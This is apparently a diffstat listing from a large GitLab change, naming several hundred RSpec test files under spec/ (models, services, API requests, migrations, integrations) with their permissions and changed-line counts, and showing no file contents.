-rw-r--r--spec/lib/gitlab/git_access_spec.rb6
-rw-r--r--spec/lib/gitlab/gitaly_client/blob_service_spec.rb100
-rw-r--r--spec/lib/gitlab/gitaly_client/commit_service_spec.rb33
-rw-r--r--spec/lib/gitlab/gitaly_client/operation_service_spec.rb1
-rw-r--r--spec/lib/gitlab/gitaly_client/repository_service_spec.rb13
-rw-r--r--spec/lib/gitlab/github_import/importer/pull_request_merged_by_importer_spec.rb22
-rw-r--r--spec/lib/gitlab/github_import/importer/pull_request_review_importer_spec.rb27
-rw-r--r--spec/lib/gitlab/github_import/markdown_text_spec.rb7
-rw-r--r--spec/lib/gitlab/github_import/object_counter_spec.rb36
-rw-r--r--spec/lib/gitlab/github_import/parallel_scheduling_spec.rb4
-rw-r--r--spec/lib/gitlab/github_import/representation/pull_request_review_spec.rb6
-rw-r--r--spec/lib/gitlab/github_import_spec.rb2
-rw-r--r--spec/lib/gitlab/gl_repository/repo_type_spec.rb1
-rw-r--r--spec/lib/gitlab/graphql/pagination/keyset/connection_generic_keyset_spec.rb420
-rw-r--r--spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb4
-rw-r--r--spec/lib/gitlab/group_search_results_spec.rb1
-rw-r--r--spec/lib/gitlab/highlight_spec.rb7
-rw-r--r--spec/lib/gitlab/hook_data/issue_builder_spec.rb1
-rw-r--r--spec/lib/gitlab/import_export/all_models.yml47
-rw-r--r--spec/lib/gitlab/import_export/import_test_coverage_spec.rb4
-rw-r--r--spec/lib/gitlab/import_export/project/object_builder_spec.rb26
-rw-r--r--spec/lib/gitlab/import_export/project/tree_restorer_spec.rb21
-rw-r--r--spec/lib/gitlab/import_export/safe_model_attributes.yml5
-rw-r--r--spec/lib/gitlab/import_export/shared_spec.rb4
-rw-r--r--spec/lib/gitlab/import_export/snippet_repo_restorer_spec.rb2
-rw-r--r--spec/lib/gitlab/instrumentation_helper_spec.rb53
-rw-r--r--spec/lib/gitlab/integrations/sti_type_spec.rb8
-rw-r--r--spec/lib/gitlab/jira_import/base_importer_spec.rb4
-rw-r--r--spec/lib/gitlab/jira_import/issues_importer_spec.rb4
-rw-r--r--spec/lib/gitlab/jira_import/labels_importer_spec.rb4
-rw-r--r--spec/lib/gitlab/jira_import_spec.rb16
-rw-r--r--spec/lib/gitlab/json_cache_spec.rb1
-rw-r--r--spec/lib/gitlab/kas/client_spec.rb19
-rw-r--r--spec/lib/gitlab/kas_spec.rb44
-rw-r--r--spec/lib/gitlab/kroki_spec.rb2
-rw-r--r--spec/lib/gitlab/kubernetes/cilium_network_policy_spec.rb8
-rw-r--r--spec/lib/gitlab/kubernetes/network_policy_spec.rb8
-rw-r--r--spec/lib/gitlab/language_detection_spec.rb1
-rw-r--r--spec/lib/gitlab/lfs_token_spec.rb2
-rw-r--r--spec/lib/gitlab/memory/instrumentation_spec.rb52
-rw-r--r--spec/lib/gitlab/metrics/subscribers/action_cable_spec.rb13
-rw-r--r--spec/lib/gitlab/metrics/subscribers/active_record_spec.rb4
-rw-r--r--spec/lib/gitlab/metrics/subscribers/load_balancing_spec.rb115
-rw-r--r--spec/lib/gitlab/object_hierarchy_spec.rb303
-rw-r--r--spec/lib/gitlab/pagination/keyset/iterator_spec.rb141
-rw-r--r--spec/lib/gitlab/pagination/keyset/order_spec.rb6
-rw-r--r--spec/lib/gitlab/pagination/offset_pagination_spec.rb74
-rw-r--r--spec/lib/gitlab/project_search_results_spec.rb7
-rw-r--r--spec/lib/gitlab/prometheus/adapter_spec.rb20
-rw-r--r--spec/lib/gitlab/prometheus/query_variables_spec.rb1
-rw-r--r--spec/lib/gitlab/rate_limit_helpers_spec.rb2
-rw-r--r--spec/lib/gitlab/reactive_cache_set_cache_spec.rb1
-rw-r--r--spec/lib/gitlab/reference_extractor_spec.rb3
-rw-r--r--spec/lib/gitlab/repo_path_spec.rb36
-rw-r--r--spec/lib/gitlab/repository_set_cache_spec.rb10
-rw-r--r--spec/lib/gitlab/search_results_spec.rb9
-rw-r--r--spec/lib/gitlab/shell_spec.rb1
-rw-r--r--spec/lib/gitlab/sidekiq_config_spec.rb39
-rw-r--r--spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb13
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/client_metrics_spec.rb36
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb2
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb209
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/size_limiter/validator_spec.rb21
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/worker_context/client_spec.rb36
-rw-r--r--spec/lib/gitlab/sidekiq_queue_spec.rb2
-rw-r--r--spec/lib/gitlab/sidekiq_status_spec.rb16
-rw-r--r--spec/lib/gitlab/spamcheck/client_spec.rb9
-rw-r--r--spec/lib/gitlab/template_parser/ast_spec.rb246
-rw-r--r--spec/lib/gitlab/template_parser/parser_spec.rb78
-rw-r--r--spec/lib/gitlab/tracking/destinations/snowplow_spec.rb56
-rw-r--r--spec/lib/gitlab/usage/docs/helper_spec.rb79
-rw-r--r--spec/lib/gitlab/usage/metric_definition_spec.rb7
-rw-r--r--spec/lib/gitlab/usage/metrics/instrumentations/collected_data_categories_metric_spec.rb15
-rw-r--r--spec/lib/gitlab/usage/metrics/instrumentations/database_metric_spec.rb75
-rw-r--r--spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb3
-rw-r--r--spec/lib/gitlab/usage_data_counters/package_event_counter_spec.rb2
-rw-r--r--spec/lib/gitlab/usage_data_spec.rb16
-rw-r--r--spec/lib/gitlab/utils/usage_data_spec.rb8
-rw-r--r--spec/lib/gitlab/utils_spec.rb16
-rw-r--r--spec/lib/gitlab/wiki_file_finder_spec.rb11
-rw-r--r--spec/lib/marginalia_spec.rb16
-rw-r--r--spec/lib/object_storage/direct_upload_spec.rb10
-rw-r--r--spec/lib/security/ci_configuration/sast_build_action_spec.rb9
-rw-r--r--spec/lib/security/ci_configuration/secret_detection_build_action_spec.rb4
-rw-r--r--spec/lib/serializers/symbolized_json_spec.rb41
-rw-r--r--spec/lib/sidebars/projects/menus/deployments_menu_spec.rb11
-rw-r--r--spec/lib/sidebars/projects/menus/infrastructure_menu_spec.rb93
-rw-r--r--spec/lib/sidebars/projects/menus/issues_menu_spec.rb18
-rw-r--r--spec/lib/sidebars/projects/menus/labels_menu_spec.rb61
-rw-r--r--spec/lib/sidebars/projects/menus/members_menu_spec.rb35
-rw-r--r--spec/lib/sidebars/projects/menus/monitor_menu_spec.rb107
-rw-r--r--spec/lib/sidebars/projects/menus/project_information_menu_spec.rb59
-rw-r--r--spec/lib/sidebars/projects/menus/scope_menu_spec.rb8
-rw-r--r--spec/lib/sidebars/projects/menus/settings_menu_spec.rb16
-rw-r--r--spec/mailers/emails/admin_notification_spec.rb11
-rw-r--r--spec/mailers/emails/releases_spec.rb2
-rw-r--r--spec/mailers/emails/service_desk_spec.rb14
-rw-r--r--spec/mailers/notify_spec.rb39
-rw-r--r--spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb12
-rw-r--r--spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb12
-rw-r--r--spec/migrations/20200728080250_replace_unique_index_on_cycle_analytics_stages_spec.rb2
-rw-r--r--spec/migrations/20210610153556_delete_legacy_operations_feature_flags_spec.rb45
-rw-r--r--spec/migrations/2021061716138_cascade_delete_freeze_periods_spec.rb22
-rw-r--r--spec/migrations/20210708130419_reschedule_merge_request_diff_users_background_migration_spec.rb75
-rw-r--r--spec/migrations/active_record/schema_spec.rb6
-rw-r--r--spec/migrations/add_premium_and_ultimate_plan_limits_spec.rb86
-rw-r--r--spec/migrations/add_upvotes_count_index_to_issues_spec.rb22
-rw-r--r--spec/migrations/backfill_issues_upvotes_count_spec.rb35
-rw-r--r--spec/migrations/delete_template_services_duplicated_by_type_spec.rb6
-rw-r--r--spec/migrations/fix_batched_migrations_old_format_job_arguments_spec.rb63
-rw-r--r--spec/migrations/re_schedule_latest_pipeline_id_population_spec.rb61
-rw-r--r--spec/migrations/rename_services_to_integrations_spec.rb255
-rw-r--r--spec/migrations/reset_job_token_scope_enabled_spec.rb25
-rw-r--r--spec/migrations/schedule_backfill_draft_status_on_merge_requests_spec.rb59
-rw-r--r--spec/migrations/schedule_delete_orphaned_deployments_spec.rb48
-rw-r--r--spec/models/ability_spec.rb63
-rw-r--r--spec/models/abuse_report_spec.rb1
-rw-r--r--spec/models/alert_management/alert_spec.rb1
-rw-r--r--spec/models/application_setting/term_spec.rb4
-rw-r--r--spec/models/application_setting_spec.rb21
-rw-r--r--spec/models/audit_event_spec.rb65
-rw-r--r--spec/models/award_emoji_spec.rb69
-rw-r--r--spec/models/blob_viewer/markup_spec.rb10
-rw-r--r--spec/models/bulk_import_spec.rb6
-rw-r--r--spec/models/bulk_imports/entity_spec.rb20
-rw-r--r--spec/models/bulk_imports/file_transfer/group_config_spec.rb4
-rw-r--r--spec/models/bulk_imports/file_transfer/project_config_spec.rb4
-rw-r--r--spec/models/chat_name_spec.rb1
-rw-r--r--spec/models/chat_team_spec.rb1
-rw-r--r--spec/models/ci/build_dependencies_spec.rb18
-rw-r--r--spec/models/ci/build_spec.rb92
-rw-r--r--spec/models/ci/build_trace_chunk_spec.rb8
-rw-r--r--spec/models/ci/build_trace_chunks/fog_spec.rb51
-rw-r--r--spec/models/ci/job_artifact_spec.rb23
-rw-r--r--spec/models/ci/job_token/project_scope_link_spec.rb18
-rw-r--r--spec/models/ci/job_token/scope_spec.rb4
-rw-r--r--spec/models/ci/pending_build_spec.rb58
-rw-r--r--spec/models/ci/pipeline_schedule_spec.rb9
-rw-r--r--spec/models/ci/pipeline_spec.rb117
-rw-r--r--spec/models/ci/runner_spec.rb14
-rw-r--r--spec/models/ci/running_build_spec.rb5
-rw-r--r--spec/models/clusters/integrations/prometheus_spec.rb8
-rw-r--r--spec/models/clusters/kubernetes_namespace_spec.rb1
-rw-r--r--spec/models/commit_spec.rb1
-rw-r--r--spec/models/compare_spec.rb10
-rw-r--r--spec/models/concerns/approvable_base_spec.rb21
-rw-r--r--spec/models/concerns/atomic_internal_id_spec.rb18
-rw-r--r--spec/models/concerns/awardable_spec.rb84
-rw-r--r--spec/models/concerns/cache_markdown_field_spec.rb4
-rw-r--r--spec/models/concerns/cascading_namespace_setting_attribute_spec.rb22
-rw-r--r--spec/models/concerns/has_integrations_spec.rb12
-rw-r--r--spec/models/concerns/integrations/has_data_fields_spec.rb43
-rw-r--r--spec/models/concerns/issuable_spec.rb20
-rw-r--r--spec/models/concerns/partitioned_table_spec.rb12
-rw-r--r--spec/models/concerns/prometheus_adapter_spec.rb36
-rw-r--r--spec/models/container_repository_spec.rb55
-rw-r--r--spec/models/deploy_token_spec.rb1
-rw-r--r--spec/models/deployment_metrics_spec.rb22
-rw-r--r--spec/models/deployment_spec.rb3
-rw-r--r--spec/models/diff_discussion_spec.rb9
-rw-r--r--spec/models/diff_viewer/server_side_spec.rb1
-rw-r--r--spec/models/discussion_spec.rb18
-rw-r--r--spec/models/environment_spec.rb3
-rw-r--r--spec/models/error_tracking/error_event_spec.rb14
-rw-r--r--spec/models/error_tracking/error_spec.rb16
-rw-r--r--spec/models/event_collection_spec.rb1
-rw-r--r--spec/models/event_spec.rb14
-rw-r--r--spec/models/group_spec.rb6
-rw-r--r--spec/models/integration_spec.rb307
-rw-r--r--spec/models/integrations/asana_spec.rb10
-rw-r--r--spec/models/integrations/assembla_spec.rb6
-rw-r--r--spec/models/integrations/bamboo_spec.rb88
-rw-r--r--spec/models/integrations/base_chat_notification_spec.rb107
-rw-r--r--spec/models/integrations/base_issue_tracker_spec.rb12
-rw-r--r--spec/models/integrations/bugzilla_spec.rb15
-rw-r--r--spec/models/integrations/buildkite_spec.rb40
-rw-r--r--spec/models/integrations/campfire_spec.rb10
-rw-r--r--spec/models/integrations/confluence_spec.rb13
-rw-r--r--spec/models/integrations/custom_issue_tracker_spec.rb15
-rw-r--r--spec/models/integrations/datadog_spec.rb20
-rw-r--r--spec/models/integrations/discord_spec.rb23
-rw-r--r--spec/models/integrations/drone_ci_spec.rb58
-rw-r--r--spec/models/integrations/emails_on_push_spec.rb14
-rw-r--r--spec/models/integrations/ewm_spec.rb15
-rw-r--r--spec/models/integrations/external_wiki_spec.rb11
-rw-r--r--spec/models/integrations/flowdock_spec.rb10
-rw-r--r--spec/models/integrations/irker_spec.rb10
-rw-r--r--spec/models/integrations/jenkins_spec.rb92
-rw-r--r--spec/models/integrations/jira_spec.rb304
-rw-r--r--spec/models/integrations/mattermost_slash_commands_spec.rb30
-rw-r--r--spec/models/integrations/microsoft_teams_spec.rb57
-rw-r--r--spec/models/integrations/open_project_spec.rb13
-rw-r--r--spec/models/integrations/packagist_spec.rb10
-rw-r--r--spec/models/integrations/pipelines_email_spec.rb4
-rw-r--r--spec/models/integrations/pivotaltracker_spec.rb31
-rw-r--r--spec/models/integrations/prometheus_spec.rb538
-rw-r--r--spec/models/integrations/pushover_spec.rb10
-rw-r--r--spec/models/integrations/redmine_spec.rb15
-rw-r--r--spec/models/integrations/slack_slash_commands_spec.rb8
-rw-r--r--spec/models/integrations/slack_spec.rb8
-rw-r--r--spec/models/integrations/teamcity_spec.rb84
-rw-r--r--spec/models/integrations/youtrack_spec.rb13
-rw-r--r--spec/models/internal_id_spec.rb279
-rw-r--r--spec/models/issue_spec.rb72
-rw-r--r--spec/models/label_note_spec.rb1
-rw-r--r--spec/models/lfs_file_lock_spec.rb1
-rw-r--r--spec/models/member_spec.rb297
-rw-r--r--spec/models/members/group_member_spec.rb21
-rw-r--r--spec/models/members/project_member_spec.rb13
-rw-r--r--spec/models/merge_request/cleanup_schedule_spec.rb133
-rw-r--r--spec/models/merge_request/diff_commit_user_spec.rb127
-rw-r--r--spec/models/merge_request_diff_commit_spec.rb50
-rw-r--r--spec/models/merge_request_diff_spec.rb49
-rw-r--r--spec/models/merge_request_spec.rb40
-rw-r--r--spec/models/milestone_spec.rb73
-rw-r--r--spec/models/namespace/root_storage_statistics_spec.rb1
-rw-r--r--spec/models/namespace_spec.rb85
-rw-r--r--spec/models/note_spec.rb4
-rw-r--r--spec/models/notification_setting_spec.rb1
-rw-r--r--spec/models/operations/feature_flag_spec.rb1
-rw-r--r--spec/models/packages/package_file_spec.rb7
-rw-r--r--spec/models/packages/package_spec.rb33
-rw-r--r--spec/models/plan_limits_spec.rb2
-rw-r--r--spec/models/plan_spec.rb23
-rw-r--r--spec/models/project_ci_cd_setting_spec.rb4
-rw-r--r--spec/models/project_services/prometheus_service_spec.rb542
-rw-r--r--spec/models/project_spec.rb248
-rw-r--r--spec/models/prometheus_alert_spec.rb1
-rw-r--r--spec/models/protected_branch/push_access_level_spec.rb1
-rw-r--r--spec/models/repository_spec.rb5
-rw-r--r--spec/models/service_desk_setting_spec.rb2
-rw-r--r--spec/models/snippet_repository_spec.rb1
-rw-r--r--spec/models/snippet_spec.rb9
-rw-r--r--spec/models/terraform/state_spec.rb1
-rw-r--r--spec/models/timelog_spec.rb2
-rw-r--r--spec/models/u2f_registration_spec.rb1
-rw-r--r--spec/models/user_spec.rb111
-rw-r--r--spec/models/wiki_page_spec.rb5
-rw-r--r--spec/policies/global_policy_spec.rb6
-rw-r--r--spec/policies/integration_policy_spec.rb4
-rw-r--r--spec/policies/project_policy_spec.rb142
-rw-r--r--spec/policies/release_policy_spec.rb62
-rw-r--r--spec/presenters/blob_presenter_spec.rb22
-rw-r--r--spec/presenters/ci/build_runner_presenter_spec.rb32
-rw-r--r--spec/presenters/merge_request_presenter_spec.rb10
-rw-r--r--spec/presenters/packages/nuget/package_metadata_presenter_spec.rb4
-rw-r--r--spec/presenters/packages/nuget/service_index_presenter_spec.rb13
-rw-r--r--spec/presenters/snippet_blob_presenter_spec.rb21
-rw-r--r--spec/requests/api/admin/plan_limits_spec.rb12
-rw-r--r--spec/requests/api/api_spec.rb2
-rw-r--r--spec/requests/api/award_emoji_spec.rb1
-rw-r--r--spec/requests/api/branches_spec.rb14
-rw-r--r--spec/requests/api/bulk_imports_spec.rb67
-rw-r--r--spec/requests/api/ci/pipelines_spec.rb1
-rw-r--r--spec/requests/api/ci/runner/jobs_request_post_spec.rb23
-rw-r--r--spec/requests/api/ci/runner/jobs_trace_spec.rb16
-rw-r--r--spec/requests/api/ci/runner/runners_post_spec.rb56
-rw-r--r--spec/requests/api/composer_packages_spec.rb1
-rw-r--r--spec/requests/api/debian_group_packages_spec.rb10
-rw-r--r--spec/requests/api/debian_project_packages_spec.rb10
-rw-r--r--spec/requests/api/deploy_tokens_spec.rb1
-rw-r--r--spec/requests/api/deployments_spec.rb1
-rw-r--r--spec/requests/api/error_tracking_collector_spec.rb77
-rw-r--r--spec/requests/api/error_tracking_spec.rb1
-rw-r--r--spec/requests/api/feature_flags_spec.rb1
-rw-r--r--spec/requests/api/freeze_periods_spec.rb1
-rw-r--r--spec/requests/api/geo_spec.rb30
-rw-r--r--spec/requests/api/graphql/boards/board_lists_query_spec.rb1
-rw-r--r--spec/requests/api/graphql/ci/jobs_spec.rb6
-rw-r--r--spec/requests/api/graphql/ci/pipelines_spec.rb1
-rw-r--r--spec/requests/api/graphql/ci/runner_spec.rb111
-rw-r--r--spec/requests/api/graphql/current_user_todos_spec.rb1
-rw-r--r--spec/requests/api/graphql/issue_status_counts_spec.rb1
-rw-r--r--spec/requests/api/graphql/metrics/dashboard_query_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/admin/sidekiq_queues/delete_jobs_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/alert_management/alerts/set_assignees_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/alert_management/alerts/todo/create_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/alert_management/alerts/update_alert_status_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/alert_management/http_integration/create_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/alert_management/prometheus_integration/create_spec.rb3
-rw-r--r--spec/requests/api/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/alert_management/prometheus_integration/update_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/award_emojis/add_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/boards/create_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/branches/create_spec.rb4
-rw-r--r--spec/requests/api/graphql/mutations/ci/ci_cd_settings_update_spec.rb5
-rw-r--r--spec/requests/api/graphql/mutations/ci/job_token_scope/add_project_spec.rb78
-rw-r--r--spec/requests/api/graphql/mutations/ci/job_token_scope/remove_project_spec.rb84
-rw-r--r--spec/requests/api/graphql/mutations/commits/create_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/container_expiration_policy/update_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/discussions/toggle_resolve_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/environments/canary_ingress/update_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/issues/set_locked_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/issues/set_severity_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/issues/update_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/jira_import/import_users_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/jira_import/start_spec.rb9
-rw-r--r--spec/requests/api/graphql/mutations/labels/create_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/merge_requests/accept_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/merge_requests/create_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb10
-rw-r--r--spec/requests/api/graphql/mutations/metrics/dashboard/annotations/create_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/namespace/package_settings/update_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/notes/create/diff_note_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/notes/create/image_diff_note_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/notes/create/note_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/notes/reposition_image_diff_note_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/notes/update/image_diff_note_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/packages/destroy_spec.rb93
-rw-r--r--spec/requests/api/graphql/mutations/releases/delete_spec.rb8
-rw-r--r--spec/requests/api/graphql/mutations/snippets/create_spec.rb33
-rw-r--r--spec/requests/api/graphql/mutations/snippets/mark_as_spam_spec.rb1
-rw-r--r--spec/requests/api/graphql/mutations/snippets/update_spec.rb29
-rw-r--r--spec/requests/api/graphql/mutations/user_callouts/create_spec.rb1
-rw-r--r--spec/requests/api/graphql/namespace/package_settings_spec.rb1
-rw-r--r--spec/requests/api/graphql/project/alert_management/alert/issue_spec.rb1
-rw-r--r--spec/requests/api/graphql/project/alert_management/alert_status_counts_spec.rb1
-rw-r--r--spec/requests/api/graphql/project/alert_management/integrations_spec.rb24
-rw-r--r--spec/requests/api/graphql/project/base_service_spec.rb4
-rw-r--r--spec/requests/api/graphql/project/error_tracking/sentry_detailed_error_request_spec.rb1
-rw-r--r--spec/requests/api/graphql/project/error_tracking/sentry_errors_request_spec.rb2
-rw-r--r--spec/requests/api/graphql/project/issue/designs/designs_spec.rb3
-rw-r--r--spec/requests/api/graphql/project/jira_service_spec.rb2
-rw-r--r--spec/requests/api/graphql/project/pipeline_spec.rb81
-rw-r--r--spec/requests/api/graphql/project/project_pipeline_statistics_spec.rb1
-rw-r--r--spec/requests/api/graphql/project_query_spec.rb1
-rw-r--r--spec/requests/api/graphql/query_spec.rb2
-rw-r--r--spec/requests/api/graphql/user/starred_projects_query_spec.rb1
-rw-r--r--spec/requests/api/graphql/user_query_spec.rb2
-rw-r--r--spec/requests/api/graphql_spec.rb2
-rw-r--r--spec/requests/api/group_avatar_spec.rb36
-rw-r--r--spec/requests/api/group_import_spec.rb1
-rw-r--r--spec/requests/api/group_labels_spec.rb26
-rw-r--r--spec/requests/api/group_milestones_spec.rb1
-rw-r--r--spec/requests/api/group_packages_spec.rb2
-rw-r--r--spec/requests/api/groups_spec.rb62
-rw-r--r--spec/requests/api/helm_packages_spec.rb176
-rw-r--r--spec/requests/api/helpers_spec.rb1
-rw-r--r--spec/requests/api/import_bitbucket_server_spec.rb5
-rw-r--r--spec/requests/api/internal/base_spec.rb129
-rw-r--r--spec/requests/api/internal/kubernetes_spec.rb60
-rw-r--r--spec/requests/api/labels_spec.rb30
-rw-r--r--spec/requests/api/lint_spec.rb2
-rw-r--r--spec/requests/api/markdown_spec.rb1
-rw-r--r--spec/requests/api/merge_requests_spec.rb18
-rw-r--r--spec/requests/api/metrics/dashboard/annotations_spec.rb1
-rw-r--r--spec/requests/api/metrics/user_starred_dashboards_spec.rb1
-rw-r--r--spec/requests/api/nuget_project_packages_spec.rb127
-rw-r--r--spec/requests/api/project_attributes.yml1
-rw-r--r--spec/requests/api/project_clusters_spec.rb1
-rw-r--r--spec/requests/api/project_container_repositories_spec.rb1
-rw-r--r--spec/requests/api/project_milestones_spec.rb1
-rw-r--r--spec/requests/api/project_snippets_spec.rb2
-rw-r--r--spec/requests/api/projects_spec.rb103
-rw-r--r--spec/requests/api/pypi_packages_spec.rb2
-rw-r--r--spec/requests/api/release/links_spec.rb68
-rw-r--r--spec/requests/api/releases_spec.rb82
-rw-r--r--spec/requests/api/repositories_spec.rb11
-rw-r--r--spec/requests/api/resource_access_tokens_spec.rb20
-rw-r--r--spec/requests/api/rubygem_packages_spec.rb2
-rw-r--r--spec/requests/api/services_spec.rb186
-rw-r--r--spec/requests/api/settings_spec.rb13
-rw-r--r--spec/requests/api/snippets_spec.rb2
-rw-r--r--spec/requests/api/system_hooks_spec.rb5
-rw-r--r--spec/requests/api/unleash_spec.rb1
-rw-r--r--spec/requests/api/users_spec.rb2
-rw-r--r--spec/requests/api/wikis_spec.rb3
-rw-r--r--spec/requests/git_http_spec.rb24
-rw-r--r--spec/requests/import/gitlab_groups_controller_spec.rb1
-rw-r--r--spec/requests/invite_registration_spec.rb68
-rw-r--r--spec/requests/jwt_controller_spec.rb1
-rw-r--r--spec/requests/lfs_http_spec.rb16
-rw-r--r--spec/requests/product_analytics/collector_app_spec.rb1
-rw-r--r--spec/requests/projects/merge_requests/diffs_spec.rb126
-rw-r--r--spec/requests/projects/merge_requests_discussions_spec.rb139
-rw-r--r--spec/requests/rack_attack_global_spec.rb1
-rw-r--r--spec/routing/project_routing_spec.rb10
-rw-r--r--spec/rubocop/code_reuse_helpers_spec.rb75
-rw-r--r--spec/rubocop/cop/database/multiple_databases_spec.rb15
-rw-r--r--spec/rubocop/cop/gitlab/mark_used_feature_flags_spec.rb233
-rw-r--r--spec/rubocop/cop/migration/prevent_index_creation_spec.rb50
-rw-r--r--spec/rubocop/cop/migration/sidekiq_queue_migrate_spec.rb47
-rw-r--r--spec/rubocop/cop/worker_data_consistency_spec.rb50
-rw-r--r--spec/serializers/analytics/cycle_analytics/stage_entity_spec.rb8
-rw-r--r--spec/serializers/paginated_diff_entity_spec.rb11
-rw-r--r--spec/serializers/service_event_entity_spec.rb6
-rw-r--r--spec/serializers/service_field_entity_spec.rb19
-rw-r--r--spec/services/admin/propagate_integration_service_spec.rb14
-rw-r--r--spec/services/admin/propagate_service_template_spec.rb1
-rw-r--r--spec/services/alert_management/create_alert_issue_service_spec.rb1
-rw-r--r--spec/services/application_settings/update_service_spec.rb4
-rw-r--r--spec/services/audit_event_service_spec.rb10
-rw-r--r--spec/services/auth/container_registry_authentication_service_spec.rb92
-rw-r--r--spec/services/auth/dependency_proxy_authentication_service_spec.rb1
-rw-r--r--spec/services/auto_merge_service_spec.rb1
-rw-r--r--spec/services/branches/create_service_spec.rb15
-rw-r--r--spec/services/bulk_create_integration_service_spec.rb17
-rw-r--r--spec/services/bulk_imports/file_download_service_spec.rb147
-rw-r--r--spec/services/bulk_update_integration_service_spec.rb2
-rw-r--r--spec/services/captcha/captcha_verification_service_spec.rb28
-rw-r--r--spec/services/ci/after_requeue_job_service_spec.rb30
-rw-r--r--spec/services/ci/append_build_trace_service_spec.rb44
-rw-r--r--spec/services/ci/archive_trace_service_spec.rb46
-rw-r--r--spec/services/ci/create_pipeline_service/cache_spec.rb42
-rw-r--r--spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb2
-rw-r--r--spec/services/ci/create_pipeline_service/custom_yaml_tags_spec.rb4
-rw-r--r--spec/services/ci/create_pipeline_service/dry_run_spec.rb4
-rw-r--r--spec/services/ci/create_pipeline_service/evaluate_runner_tags_spec.rb144
-rw-r--r--spec/services/ci/create_pipeline_service/needs_spec.rb4
-rw-r--r--spec/services/ci/create_pipeline_service/parent_child_pipeline_spec.rb40
-rw-r--r--spec/services/ci/create_pipeline_service/rules_spec.rb16
-rw-r--r--spec/services/ci/create_pipeline_service_spec.rb4
-rw-r--r--spec/services/ci/destroy_pipeline_service_spec.rb24
-rw-r--r--spec/services/ci/job_token_scope/add_project_service_spec.rb39
-rw-r--r--spec/services/ci/job_token_scope/remove_project_service_spec.rb45
-rw-r--r--spec/services/ci/pipeline_processing/shared_processing_service.rb14
-rw-r--r--spec/services/ci/pipeline_processing/test_cases/dag_same_stages.yml47
-rw-r--r--spec/services/ci/pipelines/add_job_service_spec.rb72
-rw-r--r--spec/services/ci/play_bridge_service_spec.rb10
-rw-r--r--spec/services/ci/play_build_service_spec.rb10
-rw-r--r--spec/services/ci/register_job_service_spec.rb63
-rw-r--r--spec/services/ci/retry_build_service_spec.rb15
-rw-r--r--spec/services/ci/update_build_queue_service_spec.rb12
-rw-r--r--spec/services/clusters/applications/prometheus_health_check_service_spec.rb1
-rw-r--r--spec/services/commits/commit_patch_service_spec.rb2
-rw-r--r--spec/services/container_expiration_policy_service_spec.rb1
-rw-r--r--spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb1
-rw-r--r--spec/services/design_management/copy_design_collection/copy_service_spec.rb6
-rw-r--r--spec/services/design_management/copy_design_collection/queue_service_spec.rb2
-rw-r--r--spec/services/design_management/save_designs_service_spec.rb14
-rw-r--r--spec/services/discussions/resolve_service_spec.rb2
-rw-r--r--spec/services/discussions/unresolve_service_spec.rb1
-rw-r--r--spec/services/error_tracking/collect_error_service_spec.rb44
-rw-r--r--spec/services/event_create_service_spec.rb18
-rw-r--r--spec/services/git/base_hooks_service_spec.rb22
-rw-r--r--spec/services/git/branch_push_service_spec.rb23
-rw-r--r--spec/services/git/wiki_push_service_spec.rb34
-rw-r--r--spec/services/groups/create_service_spec.rb6
-rw-r--r--spec/services/groups/group_links/destroy_service_spec.rb6
-rw-r--r--spec/services/groups/group_links/update_service_spec.rb2
-rw-r--r--spec/services/groups/transfer_service_spec.rb8
-rw-r--r--spec/services/import/bitbucket_server_service_spec.rb1
-rw-r--r--spec/services/incident_management/incidents/create_service_spec.rb1
-rw-r--r--spec/services/incident_management/incidents/update_severity_service_spec.rb86
-rw-r--r--spec/services/incident_management/pager_duty/create_incident_issue_service_spec.rb1
-rw-r--r--spec/services/incident_management/pager_duty/process_webhook_service_spec.rb1
-rw-r--r--spec/services/integrations/test/project_service_spec.rb11
-rw-r--r--spec/services/issuable/bulk_update_service_spec.rb1
-rw-r--r--spec/services/issues/close_service_spec.rb8
-rw-r--r--spec/services/issues/create_service_spec.rb86
-rw-r--r--spec/services/issues/move_service_spec.rb8
-rw-r--r--spec/services/issues/reopen_service_spec.rb4
-rw-r--r--spec/services/issues/update_service_spec.rb162
